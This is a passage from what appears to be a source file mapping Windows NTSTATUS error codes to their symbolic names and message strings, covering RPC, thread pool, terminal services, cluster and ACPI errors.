0xC0000427: ("STATUS_FILE_SYSTEM_LIMITATION","The requested operation could not be completed due to a file system limitation."),
0xC0000428: ("STATUS_INVALID_IMAGE_HASH","The hash for image %hs cannot be found in the system catalogs. The image is likely corrupt or the victim of tampering."),
0xC0000429: ("STATUS_NOT_CAPABLE","The implementation is not capable of performing the request."),
0xC000042A: ("STATUS_REQUEST_OUT_OF_SEQUENCE","The requested operation is out of order with respect to other operations."),
0xC000042B: ("STATUS_IMPLEMENTATION_LIMIT","An operation attempted to exceed an implementation-defined limit."),
0xC000042C: ("STATUS_ELEVATION_REQUIRED","The requested operation requires elevation."),
0xC000042D: ("STATUS_NO_SECURITY_CONTEXT","The required security context does not exist."),
0xC000042E: ("STATUS_PKU2U_CERT_FAILURE","The PKU2U protocol encountered an error while attempting to utilize the associated certificates."),
0xC0000432: ("STATUS_BEYOND_VDL","The operation was attempted beyond the valid data length of the file."),
0xC0000433: ("STATUS_ENCOUNTERED_WRITE_IN_PROGRESS","The attempted write operation encountered a write already in progress for some portion of the range."),
0xC0000434: ("STATUS_PTE_CHANGED","The page fault mappings changed in the middle of processing a fault so the operation must be retried."),
0xC0000435: ("STATUS_PURGE_FAILED","The attempt to purge this file from memory failed to purge some or all the data from memory."),
0xC0000440: ("STATUS_CRED_REQUIRES_CONFIRMATION","The requested credential requires confirmation."),
0xC0000441: ("STATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE","The remote server sent an invalid response for a file being opened with Client Side Encryption."),
0xC0000442: ("STATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER","Client Side Encryption is not supported by the remote server even though it claims to support it."),
0xC0000443: ("STATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE","File is encrypted and should be opened in Client Side Encryption mode."),
0xC0000444: ("STATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE","A new encrypted file is being created and a $EFS needs to be provided."),
0xC0000445: ("STATUS_CS_ENCRYPTION_FILE_NOT_CSE","The SMB client requested a CSE FSCTL on a non-CSE file."),
0xC0000446: ("STATUS_INVALID_LABEL","Indicates a particular Security ID may not be assigned as the label of an object."),
0xC0000450: ("STATUS_DRIVER_PROCESS_TERMINATED","The process hosting the driver for this device has terminated."),
0xC0000451: ("STATUS_AMBIGUOUS_SYSTEM_DEVICE","The requested system device cannot be identified due to multiple indistinguishable devices potentially matching the identification criteria."),
0xC0000452: ("STATUS_SYSTEM_DEVICE_NOT_FOUND","The requested system device cannot be found."),
0xC0000453: ("STATUS_RESTART_BOOT_APPLICATION","This boot application must be restarted."),
0xC0000454: ("STATUS_INSUFFICIENT_NVRAM_RESOURCES","Insufficient NVRAM resources exist to complete the API. A reboot might be required."),
0xC0000500: ("STATUS_INVALID_TASK_NAME","The specified task name is invalid."),
0xC0000501: ("STATUS_INVALID_TASK_INDEX","The specified task index is invalid."),
0xC0000502: ("STATUS_THREAD_ALREADY_IN_TASK","The specified thread is already joining a task."),
0xC0000503: ("STATUS_CALLBACK_BYPASS","A callback has requested to bypass native code."),
0xC0000602: ("STATUS_FAIL_FAST_EXCEPTION","A fail fast exception occurred. Exception handlers will not be invoked and the process will be terminated immediately."),
0xC0000603: ("STATUS_IMAGE_CERT_REVOKED","Windows cannot verify the digital signature for this file. The signing certificate for this file has been revoked."),
0xC0000700: ("STATUS_PORT_CLOSED","The ALPC port is closed."),
0xC0000701: ("STATUS_MESSAGE_LOST","The ALPC message requested is no longer available."),
0xC0000702: ("STATUS_INVALID_MESSAGE","The ALPC message supplied is invalid."),
0xC0000703: ("STATUS_REQUEST_CANCELED","The ALPC message has been canceled."),
0xC0000704: ("STATUS_RECURSIVE_DISPATCH","Invalid recursive dispatch attempt."),
0xC0000705: ("STATUS_LPC_RECEIVE_BUFFER_EXPECTED","No receive buffer has been supplied in a synchronous request."),
0xC0000706: ("STATUS_LPC_INVALID_CONNECTION_USAGE","The connection port is used in an invalid context."),
0xC0000707: ("STATUS_LPC_REQUESTS_NOT_ALLOWED","The ALPC port does not accept new request messages."),
0xC0000708: ("STATUS_RESOURCE_IN_USE","The resource requested is already in use."),
0xC0000709: ("STATUS_HARDWARE_MEMORY_ERROR","The hardware has reported an uncorrectable memory error."),
0xC000070A: ("STATUS_THREADPOOL_HANDLE_EXCEPTION","Status 0x%08x was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p."),
0xC000070B: ("STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to Set event(0x%p) failed with status 0x%08x."),
0xC000070C: ("STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0x%08x."),
0xC000070D: ("STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0x%08x."),
0xC000070E: ("STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED","After a callback to 0x%p(0x%p), a completion call to FreeLibrary(%p) failed with status 0x%08x."),
0xC000070F: ("STATUS_THREADPOOL_RELEASED_DURING_OPERATION","The thread pool 0x%p was released while a thread was posting a callback to 0x%p(0x%p) to it."),
0xC0000710: ("STATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING","A thread pool worker thread is impersonating a client, after a callback to 0x%p(0x%p). This is unexpected, indicating that the callback is missing a call to revert the impersonation."),
0xC0000711: ("STATUS_APC_RETURNED_WHILE_IMPERSONATING","A thread pool worker thread is impersonating a client, after executing an APC. This is unexpected, indicating that the APC is missing a call to revert the impersonation."),
0xC0000712: ("STATUS_PROCESS_IS_PROTECTED","Either the target process, or the target thread's containing process, is a protected process."),
0xC0000713: ("STATUS_MCA_EXCEPTION","A thread is getting dispatched with MCA EXCEPTION because of MCA."),
0xC0000714: ("STATUS_CERTIFICATE_MAPPING_NOT_UNIQUE","The client certificate account mapping is not unique."),
0xC0000715: ("STATUS_SYMLINK_CLASS_DISABLED","The symbolic link cannot be followed because its type is disabled."),
0xC0000716: ("STATUS_INVALID_IDN_NORMALIZATION","Indicates that the specified string is not valid for IDN normalization."),
0xC0000717: ("STATUS_NO_UNICODE_TRANSLATION","No mapping for the Unicode character exists in the target multi-byte code page."),
0xC0000718: ("STATUS_ALREADY_REGISTERED","The provided callback is already registered."),
0xC0000719: ("STATUS_CONTEXT_MISMATCH","The provided context did not match the target."),
0xC000071A: ("STATUS_PORT_ALREADY_HAS_COMPLETION_LIST","The specified port already has a completion list."),
0xC000071B: ("STATUS_CALLBACK_RETURNED_THREAD_PRIORITY","A threadpool worker thread entered a callback at thread base priority 0x%x and exited at priority 0x%x. This is unexpected, indicating that the callback missed restoring the priority."),
0xC000071C: ("STATUS_INVALID_THREAD","An invalid thread, handle %p, is specified for this operation. Possibly, a threadpool worker thread was specified."),
0xC000071D: ("STATUS_CALLBACK_RETURNED_TRANSACTION","A threadpool worker thread entered a callback, which left transaction state. This is unexpected, indicating that the callback missed clearing the transaction."),
0xC000071E: ("STATUS_CALLBACK_RETURNED_LDR_LOCK","A threadpool worker thread entered a callback, which left the loader lock held. This is unexpected, indicating that the callback missed releasing the lock."),
0xC000071F: ("STATUS_CALLBACK_RETURNED_LANG","A threadpool worker thread entered a callback, which left with preferred languages set. This is unexpected, indicating that the callback missed clearing them."),
0xC0000720: ("STATUS_CALLBACK_RETURNED_PRI_BACK","A threadpool worker thread entered a callback, which left with background priorities set. This is unexpected, indicating that the callback missed restoring the original priorities."),
0xC0000800: ("STATUS_DISK_REPAIR_DISABLED","The attempted operation required self healing to be enabled."),
0xC0000801: ("STATUS_DS_DOMAIN_RENAME_IN_PROGRESS","The directory service cannot perform the requested operation because a domain rename operation is in progress."),
0xC0000802: ("STATUS_DISK_QUOTA_EXCEEDED","An operation failed because the storage quota was exceeded."),
0xC0000804: ("STATUS_CONTENT_BLOCKED","An operation failed because the content was blocked."),
0xC0000805: ("STATUS_BAD_CLUSTERS","The operation could not be completed due to bad clusters on disk."),
0xC0000806: ("STATUS_VOLUME_DIRTY","The operation could not be completed because the volume is dirty. Please run the Chkdsk utility and try again."),
0xC0000901: ("STATUS_FILE_CHECKED_OUT","This file is checked out or locked for editing by another user."),
0xC0000902: ("STATUS_CHECKOUT_REQUIRED","The file must be checked out before saving changes."),
0xC0000903: ("STATUS_BAD_FILE_TYPE","The file type being saved or retrieved has been blocked."),
0xC0000904: ("STATUS_FILE_TOO_LARGE","The file size exceeds the limit allowed and cannot be saved."),
0xC0000905: ("STATUS_FORMS_AUTH_REQUIRED","Access Denied. Before opening files in this location, you must first browse to the e.g. site and select the option to log on automatically."),
0xC0000906: ("STATUS_VIRUS_INFECTED","The operation did not complete successfully because the file contains a virus."),
0xC0000907: ("STATUS_VIRUS_DELETED","This file contains a virus and cannot be opened. Due to the nature of this virus, the file has been removed from this location."),
0xC0000908: ("STATUS_BAD_MCFG_TABLE","The resources required for this device conflict with the MCFG table."),
0xC0000909: ("STATUS_CANNOT_BREAK_OPLOCK","The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken."),
0xC0009898: ("STATUS_WOW_ASSERTION","WOW Assertion Error."),
0xC000A000: ("STATUS_INVALID_SIGNATURE","The cryptographic signature is invalid."),
0xC000A001: ("STATUS_HMAC_NOT_SUPPORTED","The cryptographic provider does not support HMAC."),
0xC000A010: ("STATUS_IPSEC_QUEUE_OVERFLOW","The IPsec queue overflowed."),
0xC000A011: ("STATUS_ND_QUEUE_OVERFLOW","The neighbor discovery queue overflowed."),
0xC000A012: ("STATUS_HOPLIMIT_EXCEEDED","An Internet Control Message Protocol (ICMP) hop limit exceeded error was received."),
0xC000A013: ("STATUS_PROTOCOL_NOT_SUPPORTED","The protocol is not installed on the local machine."),
0xC000A080: ("STATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED","{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error may be caused by network connectivity issues. Try to save this file elsewhere."),
0xC000A081: ("STATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR","{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error was returned by the server on which the file exists. Try to save this file elsewhere."),
0xC000A082: ("STATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR","{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error may be caused if the device has been removed or the media is write-protected."),
0xC000A083: ("STATUS_XML_PARSE_ERROR","Windows was unable to parse the requested XML data."),
0xC000A084: ("STATUS_XMLDSIG_ERROR","An error was encountered while processing an XML digital signature."),
0xC000A085: ("STATUS_WRONG_COMPARTMENT","This indicates that the caller made the connection request in the wrong routing compartment."),
0xC000A086: ("STATUS_AUTHIP_FAILURE","This indicates that there was an AuthIP failure when attempting to connect to the remote host."),
0xC000A087: ("STATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS","OID mapped groups cannot have members."),
0xC000A088: ("STATUS_DS_OID_NOT_FOUND","The specified OID cannot be found."),
0xC000A100: ("STATUS_HASH_NOT_SUPPORTED","Hash generation for the specified version and hash type is not enabled on server."),
0xC000A101: ("STATUS_HASH_NOT_PRESENT","The hash requests is not present or not up to date with the current file contents."),
0xC0010001: ("DBG_NO_STATE_CHANGE","The debugger did not perform a state change."),
0xC0010002: ("DBG_APP_NOT_IDLE","The debugger found that the application is not idle."),
0xC0020001: ("RPC_NT_INVALID_STRING_BINDING","The string binding is invalid."),
0xC0020002: ("RPC_NT_WRONG_KIND_OF_BINDING","The binding handle is not the correct type."),
0xC0020003: ("RPC_NT_INVALID_BINDING","The binding handle is invalid."),
0xC0020004: ("RPC_NT_PROTSEQ_NOT_SUPPORTED","The RPC protocol sequence is not supported."),
0xC0020005: ("RPC_NT_INVALID_RPC_PROTSEQ","The RPC protocol sequence is invalid."),
0xC0020006: ("RPC_NT_INVALID_STRING_UUID","The string UUID is invalid."),
0xC0020007: ("RPC_NT_INVALID_ENDPOINT_FORMAT","The endpoint format is invalid."),
0xC0020008: ("RPC_NT_INVALID_NET_ADDR","The network address is invalid."),
0xC0020009: ("RPC_NT_NO_ENDPOINT_FOUND","No endpoint was found."),
0xC002000A: ("RPC_NT_INVALID_TIMEOUT","The time-out value is invalid."),
0xC002000B: ("RPC_NT_OBJECT_NOT_FOUND","The object UUID was not found."),
0xC002000C: ("RPC_NT_ALREADY_REGISTERED","The object UUID has already been registered."),
0xC002000D: ("RPC_NT_TYPE_ALREADY_REGISTERED","The type UUID has already been registered."),
0xC002000E: ("RPC_NT_ALREADY_LISTENING","The RPC server is already listening."),
0xC002000F: ("RPC_NT_NO_PROTSEQS_REGISTERED","No protocol sequences have been registered."),
0xC0020010: ("RPC_NT_NOT_LISTENING","The RPC server is not listening."),
0xC0020011: ("RPC_NT_UNKNOWN_MGR_TYPE","The manager type is unknown."),
0xC0020012: ("RPC_NT_UNKNOWN_IF","The interface is unknown."),
0xC0020013: ("RPC_NT_NO_BINDINGS","There are no bindings."),
0xC0020014: ("RPC_NT_NO_PROTSEQS","There are no protocol sequences."),
0xC0020015: ("RPC_NT_CANT_CREATE_ENDPOINT","The endpoint cannot be created."),
0xC0020016: ("RPC_NT_OUT_OF_RESOURCES","Insufficient resources are available to complete this operation."),
0xC0020017: ("RPC_NT_SERVER_UNAVAILABLE","The RPC server is unavailable."),
0xC0020018: ("RPC_NT_SERVER_TOO_BUSY","The RPC server is too busy to complete this operation."),
0xC0020019: ("RPC_NT_INVALID_NETWORK_OPTIONS","The network options are invalid."),
0xC002001A: ("RPC_NT_NO_CALL_ACTIVE","No RPCs are active on this thread."),
0xC002001B: ("RPC_NT_CALL_FAILED","The RPC failed."),
0xC002001C: ("RPC_NT_CALL_FAILED_DNE","The RPC failed and did not execute."),
0xC002001D: ("RPC_NT_PROTOCOL_ERROR","An RPC protocol error occurred."),
0xC002001F: ("RPC_NT_UNSUPPORTED_TRANS_SYN","The RPC server does not support the transfer syntax."),
0xC0020021: ("RPC_NT_UNSUPPORTED_TYPE","The type UUID is not supported."),
0xC0020022: ("RPC_NT_INVALID_TAG","The tag is invalid."),
0xC0020023: ("RPC_NT_INVALID_BOUND","The array bounds are invalid."),
0xC0020024: ("RPC_NT_NO_ENTRY_NAME","The binding does not contain an entry name."),
0xC0020025: ("RPC_NT_INVALID_NAME_SYNTAX","The name syntax is invalid."),
0xC0020026: ("RPC_NT_UNSUPPORTED_NAME_SYNTAX","The name syntax is not supported."),
0xC0020028: ("RPC_NT_UUID_NO_ADDRESS","No network address is available to construct a UUID."),
0xC0020029: ("RPC_NT_DUPLICATE_ENDPOINT","The endpoint is a duplicate."),
0xC002002A: ("RPC_NT_UNKNOWN_AUTHN_TYPE","The authentication type is unknown."),
0xC002002B: ("RPC_NT_MAX_CALLS_TOO_SMALL","The maximum number of calls is too small."),
0xC002002C: ("RPC_NT_STRING_TOO_LONG","The string is too long."),
0xC002002D: ("RPC_NT_PROTSEQ_NOT_FOUND","The RPC protocol sequence was not found."),
0xC002002E: ("RPC_NT_PROCNUM_OUT_OF_RANGE","The procedure number is out of range."),
0xC002002F: ("RPC_NT_BINDING_HAS_NO_AUTH","The binding does not contain any authentication information."),
0xC0020030: ("RPC_NT_UNKNOWN_AUTHN_SERVICE","The authentication service is unknown."),
0xC0020031: ("RPC_NT_UNKNOWN_AUTHN_LEVEL","The authentication level is unknown."),
0xC0020032: ("RPC_NT_INVALID_AUTH_IDENTITY","The security context is invalid."),
0xC0020033: ("RPC_NT_UNKNOWN_AUTHZ_SERVICE","The authorization service is unknown."),
0xC0020034: ("EPT_NT_INVALID_ENTRY","The entry is invalid."),
0xC0020035: ("EPT_NT_CANT_PERFORM_OP","The operation cannot be performed."),
0xC0020036: ("EPT_NT_NOT_REGISTERED","No more endpoints are available from the endpoint mapper."),
0xC0020037: ("RPC_NT_NOTHING_TO_EXPORT","No interfaces have been exported."),
0xC0020038: ("RPC_NT_INCOMPLETE_NAME","The entry name is incomplete."),
0xC0020039: ("RPC_NT_INVALID_VERS_OPTION","The version option is invalid."),
0xC002003A: ("RPC_NT_NO_MORE_MEMBERS","There are no more members."),
0xC002003B: ("RPC_NT_NOT_ALL_OBJS_UNEXPORTED","There is nothing to unexport."),
0xC002003C: ("RPC_NT_INTERFACE_NOT_FOUND","The interface was not found."),
0xC002003D: ("RPC_NT_ENTRY_ALREADY_EXISTS","The entry already exists."),
0xC002003E: ("RPC_NT_ENTRY_NOT_FOUND","The entry was not found."),
0xC002003F: ("RPC_NT_NAME_SERVICE_UNAVAILABLE","The name service is unavailable."),
0xC0020040: ("RPC_NT_INVALID_NAF_ID","The network address family is invalid."),
0xC0020041: ("RPC_NT_CANNOT_SUPPORT","The requested operation is not supported."),
0xC0020042: ("RPC_NT_NO_CONTEXT_AVAILABLE","No security context is available to allow impersonation."),
0xC0020043: ("RPC_NT_INTERNAL_ERROR","An internal error occurred in the RPC."),
0xC0020044: ("RPC_NT_ZERO_DIVIDE","The RPC server attempted to divide an integer by zero."),
0xC0020045: ("RPC_NT_ADDRESS_ERROR","An addressing error occurred in the RPC server."),
0xC0020046: ("RPC_NT_FP_DIV_ZERO","A floating point operation at the RPC server caused a divide by zero."),
0xC0020047: ("RPC_NT_FP_UNDERFLOW","A floating point underflow occurred at the RPC server."),
0xC0020048: ("RPC_NT_FP_OVERFLOW","A floating point overflow occurred at the RPC server."),
0xC0020049: ("RPC_NT_CALL_IN_PROGRESS","An RPC is already in progress for this thread."),
0xC002004A: ("RPC_NT_NO_MORE_BINDINGS","There are no more bindings."),
0xC002004B: ("RPC_NT_GROUP_MEMBER_NOT_FOUND","The group member was not found."),
0xC002004C: ("EPT_NT_CANT_CREATE","The endpoint mapper database entry could not be created."),
0xC002004D: ("RPC_NT_INVALID_OBJECT","The object UUID is the nil UUID."),
0xC002004F: ("RPC_NT_NO_INTERFACES","No interfaces have been registered."),
0xC0020050: ("RPC_NT_CALL_CANCELLED","The RPC was canceled."),
0xC0020051: ("RPC_NT_BINDING_INCOMPLETE","The binding handle does not contain all the required information."),
0xC0020052: ("RPC_NT_COMM_FAILURE","A communications failure occurred during an RPC."),
0xC0020053: ("RPC_NT_UNSUPPORTED_AUTHN_LEVEL","The requested authentication level is not supported."),
0xC0020054: ("RPC_NT_NO_PRINC_NAME","No principal name was registered."),
0xC0020055: ("RPC_NT_NOT_RPC_ERROR","The error specified is not a valid Windows RPC error code."),
0xC0020057: ("RPC_NT_SEC_PKG_ERROR","A security package-specific error occurred."),
0xC0020058: ("RPC_NT_NOT_CANCELLED","The thread was not canceled."),
0xC0020062: ("RPC_NT_INVALID_ASYNC_HANDLE","Invalid asynchronous RPC handle."),
0xC0020063: ("RPC_NT_INVALID_ASYNC_CALL","Invalid asynchronous RPC call handle for this operation."),
0xC0020064: ("RPC_NT_PROXY_ACCESS_DENIED","Access to the HTTP proxy is denied."),
0xC0030001: ("RPC_NT_NO_MORE_ENTRIES","The list of RPC servers available for auto-handle binding has been exhausted."),
0xC0030002: ("RPC_NT_SS_CHAR_TRANS_OPEN_FAIL","The file designated by DCERPCCHARTRANS cannot be opened."),
0xC0030003: ("RPC_NT_SS_CHAR_TRANS_SHORT_FILE","The file containing the character translation table has fewer than 512 bytes."),
0xC0030004: ("RPC_NT_SS_IN_NULL_CONTEXT","A null context handle is passed as an [in] parameter."),
0xC0030005: ("RPC_NT_SS_CONTEXT_MISMATCH","The context handle does not match any known context handles."),
0xC0030006: ("RPC_NT_SS_CONTEXT_DAMAGED","The context handle changed during a call."),
0xC0030007: ("RPC_NT_SS_HANDLES_MISMATCH","The binding handles passed to an RPC do not match."),
0xC0030008: ("RPC_NT_SS_CANNOT_GET_CALL_HANDLE","The stub is unable to get the call handle."),
0xC0030009: ("RPC_NT_NULL_REF_POINTER","A null reference pointer was passed to the stub."),
0xC003000A: ("RPC_NT_ENUM_VALUE_OUT_OF_RANGE","The enumeration value is out of range."),
0xC003000B: ("RPC_NT_BYTE_COUNT_TOO_SMALL","The byte count is too small."),
0xC003000C: ("RPC_NT_BAD_STUB_DATA","The stub received bad data."),
0xC0030059: ("RPC_NT_INVALID_ES_ACTION","Invalid operation on the encoding/decoding handle."),
0xC003005A: ("RPC_NT_WRONG_ES_VERSION","Incompatible version of the serializing package."),
0xC003005B: ("RPC_NT_WRONG_STUB_VERSION","Incompatible version of the RPC stub."),
0xC003005C: ("RPC_NT_INVALID_PIPE_OBJECT","The RPC pipe object is invalid or corrupt."),
0xC003005D: ("RPC_NT_INVALID_PIPE_OPERATION","An invalid operation was attempted on an RPC pipe object."),
0xC003005E: ("RPC_NT_WRONG_PIPE_VERSION","Unsupported RPC pipe version."),
0xC003005F: ("RPC_NT_PIPE_CLOSED","The RPC pipe object has already been closed."),
0xC0030060: ("RPC_NT_PIPE_DISCIPLINE_ERROR","The RPC call completed before all pipes were processed."),
0xC0030061: ("RPC_NT_PIPE_EMPTY","No more data is available from the RPC pipe."),
0xC0040035: ("STATUS_PNP_BAD_MPS_TABLE","A device is missing in the system BIOS MPS table. This device will not be used. Contact your system vendor for a system BIOS update."),
0xC0040036: ("STATUS_PNP_TRANSLATION_FAILED","A translator failed to translate resources."),
0xC0040037: ("STATUS_PNP_IRQ_TRANSLATION_FAILED","An IRQ translator failed to translate resources."),
0xC0040038: ("STATUS_PNP_INVALID_ID","Driver %2 returned an invalid ID for a child device (%3)."),
0xC0040039: ("STATUS_IO_REISSUE_AS_CACHED","Reissue the given operation as a cached I/O operation"),
0xC00A0001: ("STATUS_CTX_WINSTATION_NAME_INVALID","Session name %1 is invalid."),
0xC00A0002: ("STATUS_CTX_INVALID_PD","The protocol driver %1 is invalid."),
0xC00A0003: ("STATUS_CTX_PD_NOT_FOUND","The protocol driver %1 was not found in the system path."),
0xC00A0006: ("STATUS_CTX_CLOSE_PENDING","A close operation is pending on the terminal connection."),
0xC00A0007: ("STATUS_CTX_NO_OUTBUF","No free output buffers are available."),
0xC00A0008: ("STATUS_CTX_MODEM_INF_NOT_FOUND","The MODEM.INF file was not found."),
0xC00A0009: ("STATUS_CTX_INVALID_MODEMNAME","The modem (%1) was not found in the MODEM.INF file."),
0xC00A000A: ("STATUS_CTX_RESPONSE_ERROR","The modem did not accept the command sent to it. Verify that the configured modem name matches the attached modem."),
0xC00A000B: ("STATUS_CTX_MODEM_RESPONSE_TIMEOUT","The modem did not respond to the command sent to it. Verify that the modem cable is properly attached and the modem is turned on."),
0xC00A000C: ("STATUS_CTX_MODEM_RESPONSE_NO_CARRIER","Carrier detection has failed or the carrier has been dropped due to disconnection."),
0xC00A000D: ("STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE","A dial tone was not detected within the required time. Verify that the phone cable is properly attached and functional."),
0xC00A000E: ("STATUS_CTX_MODEM_RESPONSE_BUSY","A busy signal was detected at a remote site on callback."),
0xC00A000F: ("STATUS_CTX_MODEM_RESPONSE_VOICE","A voice was detected at a remote site on callback."),
0xC00A0010: ("STATUS_CTX_TD_ERROR","Transport driver error."),
0xC00A0012: ("STATUS_CTX_LICENSE_CLIENT_INVALID","The client you are using is not licensed to use this system. Your logon request is denied."),
0xC00A0013: ("STATUS_CTX_LICENSE_NOT_AVAILABLE","The system has reached its licensed logon limit. Try again later."),
0xC00A0014: ("STATUS_CTX_LICENSE_EXPIRED","The system license has expired. Your logon request is denied."),
0xC00A0015: ("STATUS_CTX_WINSTATION_NOT_FOUND","The specified session cannot be found."),
0xC00A0016: ("STATUS_CTX_WINSTATION_NAME_COLLISION","The specified session name is already in use."),
0xC00A0017: ("STATUS_CTX_WINSTATION_BUSY","The requested operation cannot be completed because the terminal connection is currently processing a connect, disconnect, reset, or delete operation."),
0xC00A0018: ("STATUS_CTX_BAD_VIDEO_MODE","An attempt has been made to connect to a session whose video mode is not supported by the current client."),
0xC00A0022: ("STATUS_CTX_GRAPHICS_INVALID","The application attempted to enable DOS graphics mode. DOS graphics mode is not supported."),
0xC00A0024: ("STATUS_CTX_NOT_CONSOLE","The requested operation can be performed only on the system console. This is most often the result of a driver or system DLL requiring direct console access."),
0xC00A0026: ("STATUS_CTX_CLIENT_QUERY_TIMEOUT","The client failed to respond to the server connect message."),
0xC00A0027: ("STATUS_CTX_CONSOLE_DISCONNECT","Disconnecting the console session is not supported."),
0xC00A0028: ("STATUS_CTX_CONSOLE_CONNECT","Reconnecting a disconnected session to the console is not supported."),
0xC00A002A: ("STATUS_CTX_SHADOW_DENIED","The request to control another session remotely was denied."),
0xC00A002B: ("STATUS_CTX_WINSTATION_ACCESS_DENIED","A process has requested access to a session, but has not been granted those access rights."),
0xC00A002E: ("STATUS_CTX_INVALID_WD","The terminal connection driver %1 is invalid."),
0xC00A002F: ("STATUS_CTX_WD_NOT_FOUND","The terminal connection driver %1 was not found in the system path."),
0xC00A0030: ("STATUS_CTX_SHADOW_INVALID","The requested session cannot be controlled remotely. You cannot control your own session, a session that is trying to control your session, a session that has no user logged on, or other sessions from the console."),
0xC00A0031: ("STATUS_CTX_SHADOW_DISABLED","The requested session is not configured to allow remote control."),
0xC00A0032: ("STATUS_RDP_PROTOCOL_ERROR","The RDP protocol component %2 detected an error in the protocol stream and has disconnected the client."),
0xC00A0033: ("STATUS_CTX_CLIENT_LICENSE_NOT_SET","Your request to connect to this terminal server has been rejected. Your terminal server client license number has not been entered for this copy of the terminal client. Contact your system administrator for help in entering a valid, unique license number for this terminal server client. Click OK to continue."),
0xC00A0034: ("STATUS_CTX_CLIENT_LICENSE_IN_USE","Your request to connect to this terminal server has been rejected. Your terminal server client license number is currently being used by another user. Contact your system administrator to obtain a new copy of the terminal server client with a valid, unique license number. Click OK to continue."),
0xC00A0035: ("STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE","The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported."),
0xC00A0036: ("STATUS_CTX_SHADOW_NOT_RUNNING","Remote control could not be terminated because the specified session is not currently being remotely controlled."),
0xC00A0037: ("STATUS_CTX_LOGON_DISABLED","Your interactive logon privilege has been disabled. Contact your system administrator."),
0xC00A0038: ("STATUS_CTX_SECURITY_LAYER_ERROR","The terminal server security layer detected an error in the protocol stream and has disconnected the client."),
0xC00A0039: ("STATUS_TS_INCOMPATIBLE_SESSIONS","The target session is incompatible with the current session."),
0xC00B0001: ("STATUS_MUI_FILE_NOT_FOUND","The resource loader failed to find an MUI file."),
0xC00B0002: ("STATUS_MUI_INVALID_FILE","The resource loader failed to load an MUI file because the file failed to pass validation."),
0xC00B0003: ("STATUS_MUI_INVALID_RC_CONFIG","The RC manifest is corrupted with garbage data, is an unsupported version, or is missing a required item."),
0xC00B0004: ("STATUS_MUI_INVALID_LOCALE_NAME","The RC manifest has an invalid culture name."),
0xC00B0005: ("STATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME","The RC manifest has and invalid ultimate fallback name."),
0xC00B0006: ("STATUS_MUI_FILE_NOT_LOADED","The resource loader cache does not have a loaded MUI entry."),
0xC00B0007: ("STATUS_RESOURCE_ENUM_USER_STOP","The user stopped resource enumeration."),
0xC0130001: ("STATUS_CLUSTER_INVALID_NODE","The cluster node is not valid."),
0xC0130002: ("STATUS_CLUSTER_NODE_EXISTS","The cluster node already exists."),
0xC0130003: ("STATUS_CLUSTER_JOIN_IN_PROGRESS","A node is in the process of joining the cluster."),
0xC0130004: ("STATUS_CLUSTER_NODE_NOT_FOUND","The cluster node was not found."),
0xC0130005: ("STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND","The cluster local node information was not found."),
0xC0130006: ("STATUS_CLUSTER_NETWORK_EXISTS","The cluster network already exists."),
0xC0130007: ("STATUS_CLUSTER_NETWORK_NOT_FOUND","The cluster network was not found."),
0xC0130008: ("STATUS_CLUSTER_NETINTERFACE_EXISTS","The cluster network interface already exists."),
0xC0130009: ("STATUS_CLUSTER_NETINTERFACE_NOT_FOUND","The cluster network interface was not found."),
0xC013000A: ("STATUS_CLUSTER_INVALID_REQUEST","The cluster request is not valid for this object."),
0xC013000B: ("STATUS_CLUSTER_INVALID_NETWORK_PROVIDER","The cluster network provider is not valid."),
0xC013000C: ("STATUS_CLUSTER_NODE_DOWN","The cluster node is down."),
0xC013000D: ("STATUS_CLUSTER_NODE_UNREACHABLE","The cluster node is not reachable."),
0xC013000E: ("STATUS_CLUSTER_NODE_NOT_MEMBER","The cluster node is not a member of the cluster."),
0xC013000F: ("STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS","A cluster join operation is not in progress."),
0xC0130010: ("STATUS_CLUSTER_INVALID_NETWORK","The cluster network is not valid."),
0xC0130011: ("STATUS_CLUSTER_NO_NET_ADAPTERS","No network adapters are available."),
0xC0130012: ("STATUS_CLUSTER_NODE_UP","The cluster node is up."),
0xC0130013: ("STATUS_CLUSTER_NODE_PAUSED","The cluster node is paused."),
0xC0130014: ("STATUS_CLUSTER_NODE_NOT_PAUSED","The cluster node is not paused."),
0xC0130015: ("STATUS_CLUSTER_NO_SECURITY_CONTEXT","No cluster security context is available."),
0xC0130016: ("STATUS_CLUSTER_NETWORK_NOT_INTERNAL","The cluster network is not configured for internal cluster communication."),
0xC0130017: ("STATUS_CLUSTER_POISONED","The cluster node has been poisoned."),
0xC0140001: ("STATUS_ACPI_INVALID_OPCODE","An attempt was made to run an invalid AML opcode."),
0xC0140002: ("STATUS_ACPI_STACK_OVERFLOW","The AML interpreter stack has overflowed."),
0xC0140003: ("STATUS_ACPI_ASSERT_FAILED","An inconsistent state has occurred."),
0xC0140004: ("STATUS_ACPI_INVALID_INDEX","An attempt was made to access an array outside its bounds."),
0xC0140005: ("STATUS_ACPI_INVALID_ARGUMENT","A required argument was not specified."),
